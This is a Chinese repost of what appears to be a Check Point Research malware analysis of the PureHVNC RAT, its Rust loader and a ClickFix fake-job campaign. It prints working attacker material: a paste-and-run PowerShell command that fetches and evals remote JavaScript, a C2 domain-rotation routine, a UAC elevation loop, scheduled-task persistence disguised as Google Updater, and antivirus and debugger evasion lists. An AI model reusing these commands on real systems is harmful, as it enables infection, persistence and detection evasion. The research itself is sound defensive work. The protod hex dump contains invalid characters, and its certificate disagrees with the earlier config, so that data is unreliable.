深入解析Pure恶意软件家族:从RAT到构建器再到开发者

本文详细分析了Pure恶意软件家族的完整生态,包括PureHVNC远程控制工具的技术架构、感染链分析、反检测技术以及开发者PureCoder的身份追踪,揭示了这一复杂威胁的全貌。

纯白幕布之下:从RAT到构建器再到开发者 - Check Point研究

研究作者: Antonis Terefos (@Tera0017)

关键要点

Check Point Research对一次ClickFix活动进行了取证分析,该活动通过虚假工作机会引诱受害者,导致持续八天的入侵。威胁行为者部署了多种工具,包括Rust加载器、PureHVNC RAT和Sliver命令与控制框架。

在本出版物中,我们分析了相关文件,提供了对PureHVNC RAT最全面的分析之一,包括其完整的命令集和插件。

在与命令控制服务器通信期间,僵尸程序接收了三个GitHub URL,包含特定PureHVNC功能的支持文件。分析确认这些URL和相关的GitHub账户直接与Pure恶意软件家族的开发者相关联。

此前关于PureCoder的信息知之甚少,本出版物揭示了开发者的操作时区(UTC+0300)和可能的居住国家。这一线索可能使相关机构能够进行进一步的情报收集。

进一步调查发现了PureRAT构建器,揭示了该RAT的能力,并突出了与PureCrypter相关的功能,这是Pure恶意软件套件背后的作者PureCoder开发的另一个工具。

引言

Pure恶意软件家族是由名为PureCoder的作者开发和销售的一套恶意工具。该套件包括PureHVNC RAT(远程管理工具,PureRAT的前身)、PureCrypter(恶意软件混淆器)、PureLogs(窃取器/记录器)和几个其他工具。这些恶意软件通过地下论坛、Telegram频道和专用网站进行广告宣传和分发。这些产品通常结合使用,以在广泛的恶意操作中最大化其效果。

虽然PureCoder负责构建和维护恶意软件生态系统,但网络犯罪客户主要使用这些工具来开展活动。在2025年,Pure恶意软件产品的使用显著增加,威胁行为者通过各种方法分发它们,包括恶意垃圾邮件、钓鱼网站和ClickFix技术。

在一次Check Point事件响应(IR)参与期间,我们的团队调查并遏制了一次为期八天的入侵。威胁行为者分发了一个Rust加载器,该加载器部署了具有活动ID 2a和amazon3的PureHVNC RAT。攻击者通过虚假工作广告引诱受害者,允许攻击者通过ClickFix钓鱼技术执行恶意PowerShell代码。

观察到该RAT的命令与控制服务器(C&C)向受感染的受害者传递了三个GitHub URL并下载了相关文件。这些下载的文件支持PureHVNC RAT使用的各种命令,并确定是Pure开发和操作基础设施的一部分,而不是威胁行为者本身。因此,涉及的GitHub账户被归因于Pure恶意软件家族的开发者PureCoder。

虽然目前关于这些产品作者的信息有限,但对相关GitHub账户的分析揭示了操作时区设置为UTC+0300,这对应于包括俄罗斯在内的几个国家。

ClickFix活动与取证工件

ClickFix是一种社会工程学钓鱼技术,受害者被呈现旨在欺骗他们运行恶意命令的欺骗性指令。在此活动中,受害者通过虚假工作机会被引诱到ClickFix钓鱼页面。访问该页面后,PowerShell命令自动复制到他们的剪贴板,传递恶意JavaScript文件。

在八天的入侵期间,攻击者使用了恶意JavaScript文件,部署了两个PureHVNC RAT实例,在受害者系统上建立了持久性,并最终执行了Sliver命令与控制(C2)框架。

图1 — 感染链。

感染第1天 — ClickFix和PureHVNC

在初始访问的最初时刻,我们观察到威胁行为者的大部分交互,丢弃JavaScript文件和第一个版本的PureHVNC RAT。

受害者通过虚假工作机会被引诱,访问恶意ClickFix网站后,PowerShell命令自动复制到他们的剪贴板。

图2 — ClickFix提示。

页面指示用户粘贴并执行命令。如果执行,该命令将下载并运行恶意JavaScript文件,启动感染链。

复制的PowerShell命令:

1
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr

命令与控制服务器响应恶意JavaScript代码,该代码在启动文件夹中创建恶意LNK文件,并授予自身在机器上的持久性。恶意JavaScript文件被混淆,每天联系不同的命令控制服务器并等待进一步指令。

1
2
3
4
5
6
7
8
9
function getURL() {
    var C2_domain_list = ['stathub[.]quest', 'stategiq[.]quest', 'mktblend[.]monster', 'dsgnfwd[.]xyz', 'dndhub[.]xyz'];
    var current_datetime = new Date().getTime();
    var no_days = getDaysDiff(0, current_datetime);
    return 'https://'
        + getListElement(C2_domain_list, no_days)
        + '/Y/?t=' + current_datetime
        + '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

JavaScript传递第一个版本的PureHVNC RAT,命令控制为54[.]197.141.245,活动ID为2a。

感染第2天 — Rust加载器和PureHVNC

在感染的第二天,威胁行为者部署了更新版本的PureHVNC RAT,使用Rust加载器和Inno Setup(Windows应用程序的开源安装构建器)打包。

这个部署PureHVNC RAT的Rust加载器被丢弃在%APPDATA%\Microsoft\SystemCertificates\9TwinAPIInterop.pfx中,与第一个版本没有差异,唯一的变化似乎是活动ID amazon3。

PureHVNC RAT配置:

1
2
3
4
5
6
7
8
{
  "C&C": "54.197.141.245",
  "ports": [443, 10443],
  "certificate": "MIIE4jCCAsqgAwIBAgIQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXDTI0MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtwpFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzGOTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EAYQSd75gxhZ7sddCZFuBy6Bdt21URknipN9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJHLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqGRZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vRFLk08xZ0+lRkQV4BrEWbA60omIp3XDdnMOPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKSymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioMKO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXXLfUi3+p/326JXghRpqZUQ99VaH/ucT4rP9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DVprdpTLvN9n+esMPYHRECUlaZLdn9x9AmZARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK+NSFNr1kxCYI5UqZK50CdINoKM8+frA7gAl3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLpnkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTlNea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAH3nFnvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtSC0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtAEtitAGehMyE6K3X0LgvNaxWwbdL9rcko62msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5ySanLkiy+CfYJnyqBoICYW4r1W/o65ibgxzPoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMDFSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZWprE5WjCk4fltMQU0DGbPmP1il3XLtqVvPiLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eEDW4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNywDn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP1oJ2",
  "campaign_id": "amazon3",
  "install_path": "APPDATA",
  "mutex": "aa05be285061"
}

感染第8天 — Sliver植入

在保持不活跃超过六天后,可能是为了验证受感染的机器是真实目标而不是沙箱环境,威胁行为者传递了一个Sliver植入,C&C为hxxps://jq-scripts.global.ssl[.]fastly[.]net。Sliver然后传递并执行了一个PowerShell脚本,该脚本在提示中请求用户密码,并将凭据存储在%ProgramData%/__cred.txt。

图3 — PowerShell用户凭据窃取脚本。

Rust加载器 – 技术分析

恶意加载器是一个用Rust编程语言开发的DLL文件,并使用LOLBin regsvr32执行。恶意功能位于函数导出DllRegisterServer和DllUnregisterServer中,其中包含相同的代码段。

字符串解密

恶意软件包含加密字符串,使用ChaCha20-Poly1305算法按需解密。解密密钥通过嵌入在二进制文件中的两个硬编码值的XOR生成:

1
2
3
值1:4a01d45563d802fee5593a21f1b216aeed83c4dff50fa6a31391ff73feb29dbd
值2:bf83184822bf184536b50dff4758edd638b59cb82a06ee019b62b0bce33d07b5
Chacha20-Poly1305密钥:f582cc1d41671abbd3ec37deb6eafb78d5365867df0948a288f34fcf1d8f9a08

反分析技术

第一个反分析技术监控运行的进程,并尝试识别各种与防病毒和安全软件、调试器、逆向工程工具和监控工具相关的进程。恶意软件检测到来自Bitdefender、ESET、Kaspersky、Ad-Aware和360 Total Security的防病毒进程。

黑名单进程:

1
"bdservicehost.exe", "bdredline.exe", "aylaunch.exe", "egui.exe", "360Safe.exe", "zhudongfangyu.exe", "HipsDaemon.exe", "ekrn.exe", "eguiProxy.exe", "avp32.exe", "avpcc.exe", "avpm.exe", "avpdos32.exe", "avp.exe", "adawareservice.exe", "ksdumper.exe", "decoder.exe", "dnspy.exe", "dbgx.shell.exe", "ilspy.exe", "ollydbg.exe", "x32dbg.exe", "x64dbg.exe", "gdb.exe", "idaq.exe", "idag.exe", "idaw.exe", "ida64.exe", "idag64.exe", "idaw64.exe", "idaq64.exe", "windbg.exe", "immunitydebugger.exe", "windasm.exe", "scylla.exe", "scyllahide.exe", "cheatengine.exe", "pe-bear.exe", "ollyice.exe", "radare2.exe", "ghidra.exe", "sysanalyzer.exe", "xperf.exe", "procdump.exe", "dbgview.exe", "apimonitor.exe", "pe-sieve64.exe", "pe-sieve32.exe", "pe-moneta.exe"

第二个反分析技术包括一个专门存在于Microsoft的Windows Defender恶意软件分析模拟器中的API函数列表。该技术解决了Windows库和虚拟库之间的差异,虚拟库包含更多专门与模拟环境相关的API调用。

黑名单API:

1
"MpVmp32Entry", "NtControlChannel", "ObjMgr_ValidateVFSHandle", "ThrdMgr_GetCurrentThreadHandle", "ThrdMgr_SaveTEB", "ThrdMgr_SwitchThreads", "VFS_CopyFile", "VFS_DeleteFile", "VFS_DeleteFileByHandle", "VFS_FileExists", "VFS_FindClose", "VFS_FindFirstFile", "VFS_FindNextFile", "VFS_FlushViewOfFile", "VFS_GetAttrib", "VFS_GetHandle", "VFS_GetLength", "VFS_MapViewOfFile", "VFS_MoveFile", "VFS_Open", "VFS_Read", "VFS_SetAttrib", "VFS_SetCurrentDir", "VFS_SetLength", "VFS_UnmapViewOfFile", "VFS_Write", "MpAddToScanQueue", "MpCreateMemoryAliasing", "MpCallPostEntryPointCode", "MpCallPreEntryPointCode", "MpDispatchException", "MpExitThread", "MpFinalize", "MpGetCurrentThreadHandle", "MpGetCurrentThreadId", "MpGetLastSwitchResult", "MpGetPseudoThreadHandle", "MpGetSelectorBase", "MpGetVStoreFileHandle", "MpHandlerCodePost", "MpIntHandler", "MpIntHandlerParam", "MpIntHandlerReturnAddress", "MpNtdllDatatSection", "MpReportEvent", "MpReportEventEx", "MpReportEventW", "MpSehHandler", "MpSetSelectorBase", "MpStartProcess", "MpSwitchToNextThread", "MpSwitchToNextThread_WithCheck", "MpSwitchToNextThread_NewObjManager", "MpTimerEvent", "MpTimerEventData", "MpUfsMetadataOp", "MpValidateVFSHandle", "MpVmp32FastEnter"

如果任何这些反分析技术检测到恶意软件正在模拟或沙箱环境下被分析和监控,它将随机睡眠10到30分钟,通过执行命令cmd /c timeout /t {random_time} >null,一旦唤醒,如果仍在受监控的环境中运行,它会重新运行反分析过程,如果再次被检测到,它会再次进入随机睡眠。

Rust加载器要求使用特定的命令行参数执行,如果不存在,则终止其执行。恶意软件检索传递给进程的参数,并尝试找到参数/i:--type=renderer

作为最终的反分析和规避技术,在成功解密其有效载荷后,恶意软件立即通过向ntdll.dll中的原生LdrLoadDll函数注入钩子来主动实现AMSI绕过。此钩子拦截尝试加载负责Windows反恶意软件扫描接口的amsi.dll库,并有效阻止其加载到进程中。通过这样做,恶意软件禁用了AMSI的运行时扫描能力,从而逃避了依赖AMSI进行实时恶意软件检查的安全产品的检测和分析。

图4 — LdrLoadDll钩子函数。

持久性

恶意软件检查进程是否没有以管理员权限运行,然后执行以下PowerShell命令以授予恶意软件更高的权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
"powershell" -Command "
while ($true) {
    try {
        Start-Process -FilePath 'cmd.exe' `
            -Verb runas `
            -ArgumentList '/c start "" /B "regsvr32.exe" {MALWARE} /i:--type=renderer';
        exit
    } catch {}
}
"

此PowerShell将尝试在无限循环中以管理员权限执行恶意DLL,直到用户接受UAC(用户账户控制)提示。一旦提示被接受,进程自行终止,感染继续以获取更高权限的进程进行。

加载器为避免被执行两次,创建了一个Mutex MistyRoseNavy,然后执行PowerShell命令,该命令将通过计划任务维持系统持久性。

第一个PowerShell命令将尝试查看系统中是否已注册任何计划任务。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
"powershell" -Command "
if (
    Get-ScheduledTask | Where-Object {
        $_.Actions.Execute -eq 'regsvr32' -and
        $_.Actions.Arguments -eq '/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\{MALWARE}\"'
    }
) {
    exit 0
} else {
    exit 1
}
"

如果没有,它将继续在受感染的机器上创建持久性。任务名称和路径被制作成模仿Google更新程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Register-ScheduledTask `
  -Action (
    New-ScheduledTaskAction `
      -Execute "regsvr32" `
      -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\{MALWARE}\""
  ) `
  -Trigger (
    New-ScheduledTaskTrigger `
      -Once -At (Get-Date).AddMinutes(1) `
      -RepetitionInterval (New-TimeSpan -Minutes 1)
  ) `
  -TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-9A2C-41C2-B9E7-3C3C6F193A83}' `
  -TaskPath '\GoogleSystem\GoogleUpdater' `
  -Description 'GoogleUpdater Task System 196.6.2928.90' `
  -Settings (
    New-ScheduledTaskSettingsSet `
      -AllowStartIfOnBatteries `
      -DontStopIfGoingOnBatteries `
      -ExecutionTimeLimit 0 `
      -DontStopOnIdleEnd
  ) `
  -RunLevel Highest

上述脚本的执行将通过将其作为PowerShell over stdin运行,首先执行以下命令,然后将持久性PowerShell脚本写入管道WriteFileEx。

1
PowerShell.exe -NoProfile -NonInteractive -Command -

有效载荷解密与执行

有效载荷嵌入在Rust二进制文件中,并使用简单的32字节密钥XOR解密。

图5 — 有效载荷解密例程。

随后,恶意软件将验证解密的值,这将决定下一步。验证通过XOR解密字节并生成哈希值来进行。

图6 — 哈希生成。

此哈希值被进一步处理并与值0x6进行比较。在此函数期间,我们还观察到十六进制值0xDEADBEEF,即使它不影响输出,似乎仅用作标记。

图7 — 哈希验证。

下一步,恶意软件检查解密的有效载荷是否大于1 KB(1024字节),只有在这种情况下才继续感染,否则自行终止。在此阶段,恶意软件已经成功钩住LdrLoadDll,绕过了AMSI加载。

图8 — 大小检查。

作为最后一步,Rust加载器创建一个堆,将解密的有效载荷缓冲区复制到其中,并执行shellcode。

图9 — Shellcode NOP和CALL指令。

缓冲区包含一个.NET有效载荷,通过shellcode执行。一旦.NET加密器使用AES解密最终有效载荷并使用Gzip解压缩,它被识别为PureHVNC。

图10 — 去混淆的.NET程序集资源管理器。

PureHVNC RAT – 技术分析

PureHVNC是Pure恶意软件家族的产品,由PureCoder开发。该恶意软件提供HVNC能力(隐藏虚拟网络计算),允许攻击者控制受感染的机器,而会话对受感染用户不可见。

分析的恶意软件包含被混淆的字符串和函数调用,这些是动态解密的。通过使用NETReactorSlayer,我们可以获得此恶意软件的更清晰版本。

配置

恶意软件配置是protobuf序列化的,Gzip压缩的,并且Base64编码的。反向过程检索恶意软件配置,其中包含执行配置,如命令控制服务器、端口号和互斥体名称。

图11 — 恶意软件配置。

解压缩缓冲区的反序列化可以使用protod工具完成,给出以下输出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
C:\> protod --hex b202c30d0a0e35342e3139372e3134312e32343510bb0310cb511a880d4d494945346a434341737167417749424167495141504b4f6c6c78707a57456637436967326977515554414e42676b71686b69473977304241513046414441534d52417744675944565151444441645864325a7761485a694d434158445449304d446b784e5445794e4455774e316f59447a6b354f546b784d6a4d784d6a4d314f545535576a41534d52417744675944565151444441645864325a7761485a694d494943496a414e42676b71686b6947397730424151454641414f43416738414d49494343674b434167454133516d2b4f345a58386537716e7a62374163532b4d4b754d6d4e616e3036486746317456337a43393274694c2f51796c43793354665a3147516d75742b634f66755a627939755941794d463734757874777046707236707a4c34707333487870757842727641635273554b56536870517a474f544d776c4a574a6a376e445831546e2f5049723967353543376a54462f6b3933677264474e333845415951536437356778685a37736464435a4675427936426474323155526b6e69704e394e33792f646c444f2b71425a6d625668474745715a31487256443252706d4b4b454f364f5a7534584a484c726e3145736a6778794d306966623750333862522f6344423250787a4f7147525a2f536e68673542772f754738322b7477596b70364378565248353979616d6c487039715246347652464c6b3038785a302b6c526b51563442724557624136306f6d4970335844646e4d4f50465a6e7148554d5442545a3837314c4537383256463334784d3551644941327236516a714e794b53796d622f6c4d634c4a45686c4a2b44456630355932306c45396e4a546e2f696f4d4b4f2f696c737a4a4f6875384e533433672b746f725043454f76446c644266787467637034772b5358584c665569332b702f3332364a5867685270715a555139395661482f756354347250394363536a49716c43796m507541684f5a6d5244794d416357757a737a2f315354675a3866785030445670726470544c764e396e2b65734d505948524543556c615a4c646e397839416d5a4152624d61744f64417a48384c675154473032656356532f70457567555667374970786e367057716a4b2b4e53464e72316b784359493555715a4b35304364494e6f4b4d382b6672413767416c336f686e593462524b366246696f61434363435a4a463746614a4a682b4544732f4351364b634c706e6b434177454141614d794d444177485159445652304f424259454642396a546c4e6561355a734a6437436c44682f6365706b46585a5a4d41384741315564457745422f7751464d414d42416638774451594a4b6f5a496876634e4151454e42514144676749424148336e466n7675504575664d334277504e6668677335526b5050586b3270473963547a6e784552336833376b52336a6775456e7132774c3779594132443330584138744a76372b43505a2f4972745343304f5379456d77386135466f48746e6f32326535447471383146593463386b465453307033396d744145746974414765684d7945364b3358304c67764e6178577762644c3972636b6f36326d7378714b527733667861466a544e4b2b746c35483654386a584835564d714564306569694b357953616e4c6b69792b4366594a6e7971426f49435957347231572f6f3635696267787a506f4f7a63626f64345547394f36597744714d444e384a6c514451546c37675a4c697443526361425a51796e494e4632795a775a5969726457714b3058336668514c6c756f5a397a58686335726233554d352b51765039702f5a61554f495a306d3138766a56636e7a365a6f394e36304b393375355a2f497a42636438674d315770336474447275656b626a64587338622b74784d4446537935365a5042464c4a68574f34787047743137325a4d7036447539734d4157446144546650765a5770724535576a436b34666c744d515530444762506d5031696c33584c7471567650694c767541636372624c39776b766c76444b676a715570596a587364464f5435756e586959633165454457344849574e4a634977324a346f7a384932416c77512b657856544541725163384733664e624d73765a4437437453564a4b715a4c536b41666f6b69335a72732f6649465447474e7a512f56626230314b376k3773326d4151344d72314a6a4e682f5a776c546475624b5a702b6a6241527268447676645049537570536f304b444b426a776b5932746347772f615473594b644e7977446e38567149764c6a4868444b4734764d6d3746596f4c4d64455749584e797650316f4a322207616d617a6f6e333a004207415050444154414a0c616130356265323835303631
[b2 02] 38 string: (1731)
    [0a] 1 string: (14) 54.197.141[.]245
    [10] 2 varint: 443 (0x1bb)
    [10] 2 varint: 10443 (0x28cb)
    [1a] 3 string: (1672) MIIE4jCCAsqgAwIBAgIQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXDTI4MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtwpFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzGOTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EAYQSd75gxhZ7sddCZFuBy6Bdt21URknipN9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJHLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqGRZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vRFLk08xZ0+lRkQV4BrEWbA60omIp3XDdnMOPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKSymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioMKO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXXLfUi3+p/326JXghRpqZUQ99VaH/ucT4rP9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DVprdpTLvN9n+esMPYHRECUlaZLdn9x9AmZARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK+NSFNr1kxCYI5UqZK50CdINoKM8+frA7gAl3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLpnkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTlNea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAH3nFnvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtSC0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtAEtitAGehMyE6K3X0LgvNaxWwbdL9rcko62msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5ySanLkiy+CfYJnyqBoICYW4r1W/o65ibgxzPoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMDFSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZWprE5WjCk4fltMQU0DGbPmP1il3XLtqVvPiLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eEDW4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNywDn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP1oJ2
    [22] 4 string: (7) amazon3 (61 6d 61 7a 6f 6e 33)
    [3a] 7 string: (0)
    [42] 8 string: (7) APPDATA (41 50 50 44 41 54 41)
    [4a] 9 string: (12) aa05be285061

上述配置将值存储在特定类中,其属性使用[ProtoMember(n)]属性装饰,表明它使用Protocol Buffers(protobuf-net)进行序列化。

ProtoMember 描述
1 恶意软件命令控制服务器。
2 C&C端口。
3 TLS证书,用于C&C通信。
4 活动ID。
5 维持持久性标志。
6 标志值,执行SetThreadExecutionState Windows API,防止系统休眠或关闭显示。
7 任务名称,用于通过计划任务维持持久性。如果未定义该字段,则使用可执行文件名。
8 环境变量,将用于检索安装文件夹。此文件路径将用于持久性。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计